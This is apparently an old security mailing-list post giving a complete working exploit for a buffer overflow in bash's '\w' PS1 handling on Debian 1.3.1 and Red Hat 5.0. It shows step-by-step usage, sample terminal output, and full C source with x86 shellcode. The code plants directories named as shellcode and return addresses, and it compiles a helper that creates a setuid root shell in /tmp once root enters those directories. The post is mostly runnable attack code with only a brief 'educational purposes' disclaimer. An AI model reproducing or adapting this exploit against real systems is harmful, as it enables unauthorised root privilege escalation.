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Here it is example exploit for buffer overflow in bash
which occurs when there is set '\w' in PS1 environment
variable (Joao Manuel Carolino post).
This exploit was tested on Linux x86 systems:
- - Debian 1.3.1, bash 2.0.0(1)
- - Red Hat 5.0, bash 1.4.17(1)
How it works:
~~~~~~~~~~~~~
Run it as ordinary user:
[debian]:~$ id
uid=1000(test) gid=1000(test) groups=1000(test)
[debian]:~$ ./bashps1
BASH '\w' option in PS1 exploit example
- Creating /tmp/tp.c
- Compiling /tmp/tp.c to /tmp/tp
- Removing /tmp/tp.c
- Creating directories AAA.../AAA.../AAA.../CODE.../ADDR...
- OK
If everything goes fine you should have 'tp' file in /tmp dir:
[debian]:~$ ls -l /tmp/tp
-rwxr-xr-x 1 test test 3981 Sep 4 20:54 tp
Then as root do:
bash# export PS1='bash:\w\$ '
debian:~# cd ~test
debian:/home/test# cd AAAAAAAA*/*/*/*/*
shell-init: could not get current directory: getwd: cannot access parent directories
shell-init: could not get current directory: getwd: cannot access parent directories
The bash dies... Check if there is suid shell in tmp dir:
[debian]:~$ ls -l /tmp/sh
-rwsr-sr-x 1 root root 304676 Sep 4 20:55 sh
Remember, whole directories are treated here as x86 assembler
instructions, so AAA.../AAA... are:
incl %ecx
incl %ecx
incl %ecx
...
das
incl %ecx
incl %ecx
incl %ecx
...
So you can't change it on ordinary words, unless you know what
you are doing.
Here is it the code:
- ----x----x----x----x----bashps1.c----x----x----x----x----x----x----x----
/*
* BASH: '\w' in PS1 environment variable - x86 exploit
* by Miroslaw Grzybek <migat_private>
*
* - tested on: DEBIAN LINUX 1.3.1, BASH 2.0.0(1)
* RED HAT LINUX 5.0, BASH 1.4.17(1)
*
* THIS IS FOR EDUCATIONAL PURPOSES ONLY
* USE IT AT YOUR OWN RISK
*
* When run, this program creates directories:
* AAAAAA....../AAAAAA....../AAAAAA....../CODE......./RETADDR.....
* (255 bytes) (255 bytes) (255 bytes) (50 bytes) (255 bytes)
*
* When you have '\w' included in your PS1 env. variable and
* enter to the last of this directories, then "/tmp/tp" program is
* executed and SUID shell "/tmp/sh" is created
*/
#include <unistd.h>
/*
* Code we would like to run when stack is smashed
*/
char code[] =
"\xeb\x24" /* jmp GETADDR */
/* RUNPROG: */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xfe\x06" /* incb (%esi) */
"\xfe\x46\x04" /* incb 0x4(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* incl %eax */
"\xcd\x80" /* int $0x80 */
/* GETADDR: */
"\xe8\xd7\xff\xff\xff" /* call RUNPROG */
".tmp.tp"; /* Program to run .XXX.XX */
/*
* Return address, you may have to change it if expl. doesn't works
*/
int ADDR=0xbffff2ff;
void main(void) {
char dir[256];
int i, align;
printf("BASH '\\w' option in PS1 exploit example\n");
printf("- Creating /tmp/tp.c\n");
system("echo 'main() {' > /tmp/tp.c");
system("echo 'system(\"cp /bin/sh /tmp/sh\");' >> /tmp/tp.c");
system("echo 'system(\"chmod +s /tmp/sh\");' >> /tmp/tp.c");
system("echo '}' >> /tmp/tp.c");
printf("- Compiling /tmp/tp.c to /tmp/tp\n");
system("gcc -o /tmp/tp /tmp/tp.c");
printf("- Removing /tmp/tp.c\n");
system("rm -f /tmp/tp.c");
/* Computing alignment for the 'address' directory */
getcwd(dir,255);
align=(strlen(dir)+2) % 4;
memset(dir,'A',255);
dir[255]=0;
printf("- Creating directories AAA.../AAA.../AAA.../CODE.../ADDR...\n");
mkdir(dir,0777);
chdir(dir);
mkdir(dir,0777);
chdir(dir);
mkdir(dir,0777);
chdir(dir);
/* create directory which name is our code */
mkdir(code,0777);
chdir(code);
/* create directory which name is return addresses */
for(i=align;i<252;i+=4) *(int *)&dir[i]=ADDR;
mkdir(dir,0777);
chdir("../../../../");
printf("- OK\n\n");
}
- ----x----x----x----x----x----x----x----x----x----x----x----x----x----x----
Miroslaw Grzybek,
Cieszyn, POLAND
http://www.polsl.gliwice.pl/~mig
migat_private 5E 13 03 B7 EA A1 CC 15 50 48 C4 96 5A EA 04
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